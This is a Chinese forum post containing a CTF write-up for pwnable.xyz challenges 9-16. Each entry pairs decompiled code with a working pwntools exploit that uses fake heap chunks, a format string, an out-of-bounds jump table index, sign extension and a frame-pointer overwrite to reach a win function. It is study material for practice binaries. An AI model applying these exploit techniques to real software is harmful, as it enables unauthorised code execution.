一起学pwn系列2---pwnable.xyz 9-16

嫌麻烦看pdf
一起学pwn系列2.pdf (1.2 MB)

pwnable.xyz 9-16题题解

free spirit

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rdi
  signed __int64 i; // rcx
  int v5; // eax
  __int64 v7; // [rsp+8h] [rbp-60h]
  char *buf; // [rsp+10h] [rbp-58h]
  char nptr; // [rsp+18h] [rbp-50h]
  unsigned __int64 v10; // [rsp+48h] [rbp-20h]

  v10 = __readfsqword(0x28u);
  setup(*(_QWORD *)&argc, argv, envp);
  buf = (char *)malloc(0x40uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      _printf_chk(1LL, (__int64)"> ");
      v3 = &nptr;
      for ( i = 12LL; i; --i )
      {
        *(_DWORD *)v3 = 0;
        v3 += 4;
      }
      read(0, &nptr, 0x30uLL);
      v5 = atoi(&nptr);
      if ( v5 != 1 )
        break;
      __asm { syscall; LINUX - sys_read }
    }
    if ( v5 <= 1 )
      break;
    if ( v5 == 2 )
    {
      _printf_chk(1LL, (__int64)"%p\n");
    }
    else if ( v5 == 3 )
    {
      if ( (unsigned int)limit <= 1 )
        _mm_storeu_si128((__m128i *)&v7, _mm_loadu_si128((const __m128i *)buf));
    }
    else
    {
LABEL_16:
      puts("Invalid");
    }
  }
  if ( v5 )
    goto LABEL_16;
  if ( !buf )
    exit(1);
  free(buf);
  return 0;
}

不断利用3和1来写任意地址内容,2可以读取一次栈地址,于是可以计算出返回地址。思路很清晰,主要难在最后有个free,需要构造fake chunk.
注意 free的p指针&8必须为0 否则无法通过free的校验

exp:

from pwn import *
context.log_level="debug"
#p=process("./challenge")
p=remote("svc.pwnable.xyz","30005")
p.sendlineafter("> ","2")

sleep(0.1)
rsp_10 = int(p.recv(14),16)
log.info(rsp_10)
p.sendlineafter("> ","1")
ret_addr=rsp_10+0x50+0x8
win_addr=0x400a3e
p.sendline("A"*8+p64(ret_addr))

p.sendlineafter("> ","3")

p.sendlineafter("> ","1")
sleep(1)

p.send(p64(win_addr)+p64(0x601080))
sleep(1)

p.sendlineafter("> ","3")
p.sendlineafter("> ","1")
#gdb.attach(p)
sleep(1)
pause()
p.send(p64(1)+p64(0x601060)+p64(0)+p64(0x21))
sleep(1)
p.sendlineafter("> ","3")
p.sendlineafter("> ","1")
sleep(1)
p.send(p64(0)+p64(0x601080)+p64(0)+p64(0x21))
p.sendlineafter("> ","3")
p.sendlineafter("> ","a")
p.interactive()

free的p指针&8必须为0

tlsv00

源码如下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  signed int v4; // eax
  unsigned int v5; // ST0C_4

  setup(*(_QWORD *)&argc, argv, envp);
  puts("Muahaha you thought I would never make a crypto chal?");
  v3 = (_BYTE *)(&word_3E + 1);
  generate_key(63);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu(v3);
        v3 = "> ";
        printf("> ");
        v4 = read_int32();
        if ( v4 != 2 )
          break;
        load_flag();
      }
      if ( v4 > 2 )
        break;
      if ( v4 != 1 )
        goto LABEL_12;
      printf("key len: ");
      v5 = read_int32();
      v3 = (const char *)v5;
      generate_key(v5);
    }
    if ( v4 == 3 )
    {
      print_flag();
    }
    else if ( v4 != 4 )
    {
LABEL_12:
      v3 = "Invalid";
      puts("Invalid");
    }
  }
}

generate_key:

unsigned __int64 __fastcall generate_key(signed int a1)
{
  signed int i; // [rsp+18h] [rbp-58h]
  int fd; // [rsp+1Ch] [rbp-54h]
  char s[72]; // [rsp+20h] [rbp-50h]
  unsigned __int64 v5; // [rsp+68h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( a1 > 0 && (unsigned int)a1 <= 0x40 )
  {
    memset(s, 0, 0x48uLL);
    fd = open("/dev/urandom", 0);
    if ( fd == -1 )
    {
      puts("Can't open /dev/urandom");
      exit(1);
    }
    read(fd, s, a1);
    for ( i = 0; i < a1; ++i )
    {
      while ( !s[i] )
        read(fd, &s[i], 1uLL);
    }
    strcpy(key, s);
    close(fd);
  }
  else
  {
    puts("Invalid key size");
  }
  return __readfsqword(0x28u) ^ v5;
}

load_flag:

int load_flag()
{
  unsigned int i; // [rsp+8h] [rbp-8h]
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open("/flag", 0);
  if ( fd == -1 )
  {
    puts("Can't open flag");
    exit(1);
  }
  read(fd, flag, 0x40uLL);
  for ( i = 0; i <= 0x3F; ++i )
    flag[i] ^= key[i];
  return close(fd);
}

print_flag:

__int64 print_flag()
{
  __int64 result; // rax

  puts("WARNING: NOT IMPLEMENTED.");
  result = (unsigned __int8)do_comment;
  if ( !(_BYTE)do_comment )
  {
    printf("Wanna take a survey instead? ");
    if ( getchar() == 121 )
      do_comment = (__int64 (*)(void))f_do_comment;
    result = do_comment();
  }
  return result;
}

f_do_comment:

unsigned __int64 f_do_comment()
{
  char buf; // [rsp+10h] [rbp-30h]
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter comment: ");
  read(0, &buf, 0x21uLL);
  return __readfsqword(0x28u) ^ v2;
}

还有一个没有被调用到的函数

int real_print_flag()
{
  return printf("%s", flag);
}

神奇的是他的位置在


b00,b1f 看下bss地址

当generate_key函数s是40位的时候,strcpy(key,s)会把do_comment的低位改成00于是b1f被覆盖成b00,但是这时只能打印被加密的flag。然鹅,还是strcpy的特性,当生产一个新的秘钥的时候比如只生成1位,那么第2位为00,00^任何值还是它本身,于是逐位读取flag。

exp:

from pwn import *
#context.log_level="debug"
#p=process("./challenge")
p=remote("svc.pwnable.xyz",30006)
p.sendlineafter("> ","2")
p.sendlineafter("> ","3")
p.sendlineafter("? ","y")
p.sendlineafter("> ","1")
p.sendlineafter(": ","64")
p.sendlineafter("> ","3")
p.sendlineafter("? ","a")
s=""
i=1
while(i<64):
	p.sendlineafter("> ","1")
	p.sendlineafter(": ",str(i))
	p.sendlineafter("> ","2")
	p.sendlineafter("> ","3")
	p.sendlineafter("? ","s")
	s+=p.recv(i+1)[-1]
	i+=1
	print s
	sleep(0.1)


print s
p.interactive()

strcpy这种注意会多带一个\x00

jumple table

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed int v3; // [rsp+Ch] [rbp-4h]

  setup(*(_QWORD *)&argc, argv, envp);
  while ( 1 )
  {
    print_menu();
    printf("> ");
    v3 = read_long();
    if ( v3 <= 4 )
      (*(&vtable + v3))();
    else
      puts("Invalid.");
  }
}
int print_menu()
{
  return puts("1. Malloc\n2. Free\n3. Read\n4. Write\n0. Exit");
}
void __noreturn do_exit()
{
  puts("Bye.");
  exit(1);
}
void *do_malloc()
{
  unsigned __int64 v0; // rax
  void *result; // rax

  printf("Size: ");
  v0 = read_long();
  size = v0;
  result = malloc(v0);
  if ( result )
    heap_buffer = result;
  else
    heap_buffer = (void *)1;
  return result;
}
void do_free()
{
  if ( heap_buffer == (void *)1 )
  {
    puts("Not allocated.");
  }
  else
  {
    free(heap_buffer);
    heap_buffer = (void *)1;
  }
}
int do_read()
{
  int result; // eax

  if ( heap_buffer == (void *)1 )
    result = puts("Not allocated.");
  else
    result = read(0, heap_buffer, size);
  return result;
}
int do_write()
{
  int result; // eax

  if ( heap_buffer == (void *)1 )
    result = puts("Not allocated.");
  else
    result = write(1, heap_buffer, size);
  return result;
}

这个题一开始以为是个堆溢出的题,看了很久没有思路。后来重新看了眼题目标题 jumple table 于是灵光一闪...

  main函数
 (*(&vtable + v3))();

v3可控,直接跳转到win即可

exp:

from pwn import *
context.log_level="debug"

#p=process("./challenge")
p=remote("svc.pwnable.xyz",30007)
p.readuntil("> ")
p.sendline("1")
p.sendlineafter(": ","4196913")
#gdb.attach(p)
p.sendlineafter("> ","-2")
p.interactive()



# 注意检查int 的符号

总结:当函数表存在时,看看指针是否可控。

l33t-ness

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(*(_QWORD *)&argc, argv, envp);
  puts("The l33t-ness level.");
  if ( (unsigned __int8)round_1("The l33t-ness level.") && (unsigned __int8)round_2() && (unsigned __int8)round_3() )
    win();
  return 0;
}
_BOOL8 round_1()
{
  _BOOL8 result; // rax
  int v1; // [rsp+8h] [rbp-38h]
  int v2; // [rsp+Ch] [rbp-34h]
  char s; // [rsp+10h] [rbp-30h]
  __int64 v4; // [rsp+20h] [rbp-20h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("=== 1eet ===");
  memset(&s, 0, 0x20uLL);
  printf("x: ", 0LL);
  read(0, &s, 0x10uLL);
  printf("y: ", &s);
  read(0, &v4, 0x10uLL);
  if ( strchr(&s, 45) || strchr((const char *)&v4, 45) )
    return 0LL;
  v1 = atoi(&s);
  v2 = atoi((const char *)&v4);
  if ( v1 <= 1336 && v2 <= 1336 )
    result = v1 - v2 == 1337;
  else
    result = 0LL;
  return result;
}
_BOOL8 round_2()
{
  int v1; // [rsp+0h] [rbp-10h]
  int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("=== t00leet ===");
  v1 = 0;
  v2 = 0;
  _isoc99_scanf("%d %d", &v1, &v2);
  return v1 > 1 && v2 > 1337 && v1 * v2 == 1337;
}
_BOOL8 round_3()
{
  signed int i; // [rsp+0h] [rbp-30h]
  __int64 v2; // [rsp+10h] [rbp-20h]
  __int64 v3; // [rsp+18h] [rbp-18h]
  int v4; // [rsp+20h] [rbp-10h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("=== 3leet ===");
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0;
  _isoc99_scanf("%d %d %d %d %d", &v2, (char *)&v2 + 4);
  for ( i = 1; i <= 4; ++i )
  {
    if ( *((_DWORD *)&v2 + i) < *((_DWORD *)&v2 + i - 1) )
      return 0LL;
  }
  return HIDWORD(v3) + (_DWORD)v3 + HIDWORD(v2) + (_DWORD)v2 + v4 == HIDWORD(v3)
                                                                   * (_DWORD)v3
                                                                   * HIDWORD(v2)
                                                                   * (_DWORD)v2
                                                                   * v4;
}

这题没啥好说的都是基础吧。最后一关其实没看懂最后一个retun,反正要相等嘛中间写个0就好XD

exp:

from pwn import *
context.log_level="debug"

#p=process("./challenge")
p=remote("svc.pwnable.xyz",30008)
p.readuntil("x: ")
p.sendline("1")
p.sendlineafter("y: ","4294965960")
p.sendlineafter("=\n","3 1431656211")
p.sendlineafter("=\n","-2 -1 0 1 2")
p.interactive()
#gdb.attach(p)

game

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  signed int v4; // eax

  setup();
  v3 = "Shell we play a game?";
  puts("Shell we play a game?");
  init_game();
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu(v3, argv);
      v3 = "> ";
      printf("> ");
      v4 = read_int32();
      if ( v4 != 1 )
        break;
      (*((void (**)(void))cur + 3))();
    }
    if ( v4 > 1 )
    {
      if ( v4 == 2 )
      {
        save_game();
      }
      else
      {
        if ( v4 != 3 )
          goto LABEL_13;
        edit_name();
      }
    }
    else
    {
      if ( !v4 )
        exit(1);
LABEL_13:
      v3 = "Invalid";
      puts("Invalid");
    }
  }
}
char *init_game()
{
  char *result; // rax

  saves[0] = (__int64)malloc(0x20uLL);
  cur = (char *)find_last_save(32LL);
  printf("Name: ");
  read(0, cur, 0x10uLL);
  result = cur;
  *((_QWORD *)cur + 3) = play_game;
  return result;
}
int print_menu()
{
  printf("Score: %d\n", (unsigned int)*((signed __int16 *)cur + 8));
  return puts("Menu:\n1. Play game\n2. Save game\n3. Edit name\n0. Exit");
}
unsigned __int64 play_game()
{
  __int16 v0; // dx
  __int16 v1; // dx
  __int16 v2; // dx
  __int16 v3; // dx
  int fd; // [rsp+Ch] [rbp-124h]
  int v6; // [rsp+10h] [rbp-120h]
  unsigned int buf; // [rsp+14h] [rbp-11Ch]
  unsigned int v8; // [rsp+18h] [rbp-118h]
  unsigned __int8 v9; // [rsp+1Ch] [rbp-114h]
  char s; // [rsp+20h] [rbp-110h]
  unsigned __int64 v11; // [rsp+128h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
  {
    puts("Can't open /dev/urandom");
    exit(1);
  }
  read(fd, &buf, 0xCuLL);
  close(fd);
  v9 &= 3u;
  memset(&s, 0, 0x100uLL);
  snprintf(&s, 0x100uLL, "%u %c %u = ", buf, (unsigned int)ops[v9], v8);
  printf("%s", &s);
  v6 = read_int32();
  if ( v9 == 1 )
  {
    if ( buf - v8 == v6 )
      v1 = *((_WORD *)cur + 8) + 1;
    else
      v1 = *((_WORD *)cur + 8) - 1;
    *((_WORD *)cur + 8) = v1;
  }
  else if ( (signed int)v9 > 1 )
  {
    if ( v9 == 2 )
    {
      if ( buf / v8 == v6 )
        v2 = *((_WORD *)cur + 8) + 1;
      else
        v2 = *((_WORD *)cur + 8) - 1;
      *((_WORD *)cur + 8) = v2;
    }
    else if ( v9 == 3 )
    {
      if ( v8 * buf == v6 )
        v3 = *((_WORD *)cur + 8) + 1;
      else
        v3 = *((_WORD *)cur + 8) - 1;
      *((_WORD *)cur + 8) = v3;
    }
  }
  else if ( !v9 )
  {
    if ( v8 + buf == v6 )
      v0 = *((_WORD *)cur + 8) + 1;
    else
      v0 = *((_WORD *)cur + 8) - 1;
    *((_WORD *)cur + 8) = v0;
  }
  return __readfsqword(0x28u) ^ v11;
}
ssize_t edit_name()
{
  size_t v0; // rax

  v0 = strlen(cur);
  return read(0, cur, v0);
}
int save_game()
{
  _QWORD *v0; // rcx
  __int64 v1; // rdx
  __int64 v2; // rdx
  __int64 v3; // rax
  signed int i; // [rsp+Ch] [rbp-4h]

  for ( i = 1; i <= 4; ++i )
  {
    if ( !saves[i] )
    {
      saves[i] = (__int64)malloc(0x20uLL);
      v0 = (_QWORD *)saves[i];
      v1 = *((_QWORD *)cur + 1);
      *v0 = *(_QWORD *)cur;
      v0[1] = v1;
      *(_QWORD *)(saves[i] + 16) = *((signed __int16 *)cur + 8);
      *(_QWORD *)(saves[i] + 24) = play_game;
      v2 = i;
      v3 = saves[v2];
      cur = (char *)saves[v2];
      return v3;
    }
  }
  LODWORD(v3) = puts("Not enough space.");
  return v3;
}

一个简单的算加减乘除的游戏,乍一看完全没有问题,唯一可能有问题的就是这个edit_name,但是cur长度判断过了。于是思路就变成了想办法改cur的长度,从而导致play_game的指针可修改。
最后发现

save_game的
 *(_QWORD *)(saves[i] + 16) = *((signed __int16 *)cur + 8);

这个地方会把一个有符号的2字节扩展成无符号的8字节。于是-1=0xffffffffffffffff pwn~

exp:

#coding:utf-8
from pwn import *
context.log_level="debug"
#p=process("./challenge")
p=remote("svc.pwnable.xyz",30009)
p.sendlineafter("Name: ","11111111111111111")
p.sendlineafter("= ","1")
#p.sendlineafter("> ","1")
#data=p.recvuntil("=")
#sss=eval(data[:-1])
#p.sendline(str(sss%(2**32)))
#p.sendlineafter("> ","2")
#p.sendlineafter("> ","2")
#p.sendlineafter("> ","2")

p.sendlineafter("> ","2")
p.sendlineafter("> ","3")
p.send("1"*0x18+p64(0x314009D6))
#p.sendlineafter("> ","1")
p.interactive()

fsp00

这题做了我一年...

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(&argc);
  printf("Name: ");
  read(0, (char *)&cmd + 48, 0x1Fu);
  vuln();
  return 0;
}

很明显提示漏洞在vuln

char *setup()
{
  char *result; // eax

  setvbuf((FILE *)&IO_2_1_stdout_, 0, 2, 0);
  setvbuf((FILE *)&IO_2_1_stdin_, 0, 2, 0);
  signal(14, (__sighandler_t)handler);
  alarm(0x3Cu);
  result = cmd;
  *(_DWORD *)&cmd[32] = 'uneM';
  *(_WORD *)&cmd[36] = '\n:';
  cmd[38] = 0;
  return result;
}
unsigned int vuln()
{
  int v1; // [esp+8h] [ebp-10h]
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  while ( 1 )
  {
    while ( 1 )
    {
      printf(&cmd[32]);
      puts("1. Edit name.\n2. Prep msg.\n3. Print msg.\n4. Exit.");
      printf("> ");
      __isoc99_scanf("%d", &v1);
      getchar();
      if ( (unsigned __int8)v1 != 1 )
        break;
      printf("Name: ");
      read(0, &cmd[48], 0x1Fu);
    }
    if ( (signed int)(unsigned __int8)v1 <= 1 )
      break;
    if ( (unsigned __int8)v1 == 2 )
    {
      sprintf(cmd, (const char *)&unk_B7B, &cmd[48]);
    }
    else if ( (unsigned __int8)v1 == 3 )
    {
      puts(cmd);
    }
    else
    {
LABEL_12:
      puts("Invalid");
    }
  }
  if ( (_BYTE)v1 )
    goto LABEL_12;
  return __readgsdword(0x14u) ^ v2;
}


找了好久找不到漏洞,最后终于发现...当name输入0x1f位时,

sprintf(cmd, (const char *)&unk_B7B, &cmd[48]);

会导致 0x1f+7>32
于是

printf(&cmd[32]);

这个地方会有6位的格式化字符串。
一个带偏移的写地址格式化字符串最少字符1%1$n也就是5位。
现在具备往一个比较近的栈地址上的地址写1字节的能力,以及读取一个比较近的栈地址的能力。(binary保护全开)
看看栈上的情况。断点下在 printf(&cmd[32]);

from pwn import *
context.log_level="debug"

p=process("./challenge")
#p=remote("svc.pwnable.xyz","30010")
sda=p.sendlineafter
gdb.attach(p)
sda(": ","a"*25+'aaaaa')
sda("> ","2")
p.interactive()


可以看到这边栈地址能控制的就只有0x2这个地方,这其实是代码中的
sda("> ","2") 其实就是vuln中的int v1;
那么我们其实可以修改v1,从而达到任意地址1字节修改。
cmd的内存如下

于是我们可以通过覆盖标红的00,达到控制的字符增大。所以可以通过填充返回地址达到修改返回地址。

exp:

from pwn import *
context.log_level="debug"
#p=process("./challenge")
p=remote("svc.pwnable.xyz","30010")
sda=p.sendlineafter
sda(": ","a"*25+'%11$xa')
#
sda("> ","2")
sda("> ","3")
p.recvuntil("\n")
main_recv="0x"+p.recv(8)
print "main_recv: "+main_recv
flag_add=int(main_recv,16)-122

sda("> ","1")
sda(": ","a"*25+'%2$xaa')
sda("> ","2")
bss="0x"+p.recv(8)
sda("> ","3")
p.recvuntil("\n")
stack="0x"+p.recv(8)
print stack


log.info(bss)
retr=int(stack,16)+4
print "retr:"+hex(retr)
sda("> ","1")
sda(": ","a"*25+'A%6$na')
sda("> ",str(int(bss,16)-0x70+0x102))

for i in range(11)[::-1]:
   sda("> ",str(int(bss,16)-i))
sda("> ",str(int(bss,16)-0x70+0x101))
news = flag_add%(16**4)
print news
print news%(16**3)
flaghigh=flag_add/(16**4)
len1=len(str(news))
fuckd=news-12

sda(": ","%"+str(fuckd)+"c%6$n"+"a"*(31-6-len1))
#sda("> ",str(int(bss,16)-0x70+0x102))
sda("> ",str(retr-2**32))#-1
sda("> ",str(int(bss,16)-0x70+0x101))
#gdb.attach(p)
sda(": ","%"+str(flaghigh-12)+"c%6$n"+"a"*(31-6-len1))
sda("> ",str(retr-2**32+2))
#sda("> ",str(int(bss,16)-0x70+0x104))
#sda("> ",str(int(bss,16)-0x70+0x103))
#num_low = str(news-27)

p.interactive()

sus

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  signed int v4; // eax

  setup(*(_QWORD *)&argc, argv, envp);
  v3 = "SUS - Single User Storage.";
  puts("SUS - Single User Storage.");
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu(v3);
      v3 = "> ";
      printf("> ");
      v4 = read_int32();
      if ( v4 != 1 )
        break;
      create_user();
    }
    if ( v4 <= 1 )
      break;
    if ( v4 == 2 )
    {
      print_user();
    }
    else if ( v4 == 3 )
    {
      edit_usr();
    }
    else
    {
LABEL_13:
      v3 = "Invalid";
      puts("Invalid");
    }
  }
  if ( v4 )
    goto LABEL_13;
  return 0;
}
int print_menu()
{
  return puts("Menu:\n1. Create user.\n2. Print user.\n3. Edit user.\n4. Exit.");
}
unsigned __int64 create_user()
{
  void *s; // [rsp+0h] [rbp-1060h]
  unsigned __int64 v2; // [rsp+1058h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( !s )
  {
    s = malloc(0x20uLL);
    memset(s, 0, 0x20uLL);
  }
  printf("Name: ", s);
  read(0, s, 0x20uLL);
  printf("Age: ", s, s);
  read_int32();
  cur = (__int64)&s;
  return __readfsqword(0x28u) ^ v2;
}
int print_user()
{
  int result; // eax

  result = cur;
  if ( cur )
  {
    printf("User: %s\n", *(_QWORD *)cur);
    result = printf("Age: %d\n", *(unsigned int *)(cur + 72));
  }
  return result;
}
unsigned __int64 edit_usr()
{
  __int64 v0; // rsi
  __int64 v1; // rbx
  unsigned __int64 v3; // [rsp+1018h] [rbp-18h]

  v3 = __readfsqword(0x28u);
  if ( cur )
  {
    printf("Name: ");
    v0 = *(_QWORD *)cur;
    read(0, *(void **)cur, 0x20uLL);
    printf("Age: ", v0);
    v1 = cur;
    *(_DWORD *)(v1 + 72) = read_int32();
  }
  return __readfsqword(0x28u) ^ v3;
}
int read_int32()
{
  char buf; // [rsp+0h] [rbp-30h]
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, &buf, 0x20uLL);
  return atoi(&buf);
}

这题比较简单 edit_usr 这个 *(_DWORD *)(v1 + 72) = read_int32(); 显然有漏洞,调一下就可以。

exp:

from pwn import *
context.log_level="debug"
#p=process("./challenge")
p=remote("svc.pwnable.xyz","30011")
sda=p.sendlineafter
sda("> ","1")
sda(": ","aaaaaaaaaaaaaaaaaaaaaaaa")
sda(": ","123")
#gdb.attach(p)
sda("> ","3")
sda(": ","aaaaaaaaaaaaaaaaaaaaaaaa")
sda(": ","a"*16+p64(0x602268))
sda("> ","2")
p.readuntil("User: ")
stack=u64(p.recv(6)+"\x00\x00")
retn_72=stack+4128
sda("> ","3")
sda(": ",p64(retn_72))
p.readuntil(": ")
p.send("4197233")
sda("> ","4")

p.interactive()

JUMP

这题本来感觉搞不定了,然后就搞定了XD.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  unsigned __int8 v4; // [rsp+2Fh] [rbp-11h]
  __int64 v5; // [rsp+30h] [rbp-10h]
  void *v6; // [rsp+38h] [rbp-8h]

  setup(*(_QWORD *)&argc, argv, envp);
  v5 = gen_canary();
  v3 = "Jump jump\n"
       "The Mac Dad will make you jump jump\n"
       "Daddy Mac will make you jump jump\n"
       "The Daddy makes you J-U-M-P\n";
  puts("Jump jump\nThe Mac Dad will make you jump jump\nDaddy Mac will make you jump jump\nThe Daddy makes you J-U-M-P\n");
  v6 = &loc_BA0;
  while ( 1 )
  {
    print_menu(v3);
    v3 = "> ";
    printf("> ");
    v4 = read_int8();
    switch ( v4 )
    {
      case 2u:
        v6 = (void *)(signed int)((unsigned int)v6 ^ v4);
        break;
      case 3u:
        v3 = "%p\n";
        printf("%p\n", environ);
        break;
      case 1u:
        if ( v5 == canary )
          JUMPOUT(__CS__, v6);
        break;
      default:
        v3 = "Invalid";
        puts("Invalid");
        break;
    }
  }
}
__int64 gen_canary()
{
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
  {
    puts("Can't open /dev/urandom.");
    exit(1);
  }
  if ( read(fd, &canary, 8uLL) != 8 )
  {
    puts("Can't read data.");
    exit(1);
  }
  close(fd);
  return canary;
}
int read_int8()
{
  char buf; // [rsp+0h] [rbp-20h]

  read(0, &buf, 0x21uLL);
  return atoi(&buf);
}

代码非常简单,打印一个栈地址,jump到v6,修改v6。
但是修改v6只能改成0x2^0xba0 而win的地址是0xb77显然不行

而read_int8明星有个栈溢出,从而修改ebp。问题就在于怎么通过修改ebp来修改0xba0。
于是有了一个思路,先修改ebp改掉v6然后再跳回原来的ebp,从而jump到v6。怎么修改v6的最后一个字节呢?
看到v4其实是$rbp+var_11


那么把$rbp 改成v6-0x11的地址即可

exp:

from pwn import *
context.log_level="debug"
#p=process("./challenge")
p=remote("svc.pwnable.xyz","30012")
sda=p.sendlineafter

sda("> ","3")#-0x60
p.recv(12)
byte0=p.recv(2)
log.info(byte0)
byte1=hex((int("0x1"+byte0,16)-0xef)%0x100)[2:]

print byte1
sda("> ","3"*32+byte1.decode("hex"))
sda("> ","119")
sleep(1)
sda("> ","119")
byte2=hex((int("0x1"+byte0,16)-0xef-1-0x08)%0x100)[2:]
#gdb.attach(p)
sda("> ","3"*32+byte2.decode("hex"))
sda("> ","5")
sleep(1)
sda("> ","1")
p.interactive()
3 个赞

转二进制了么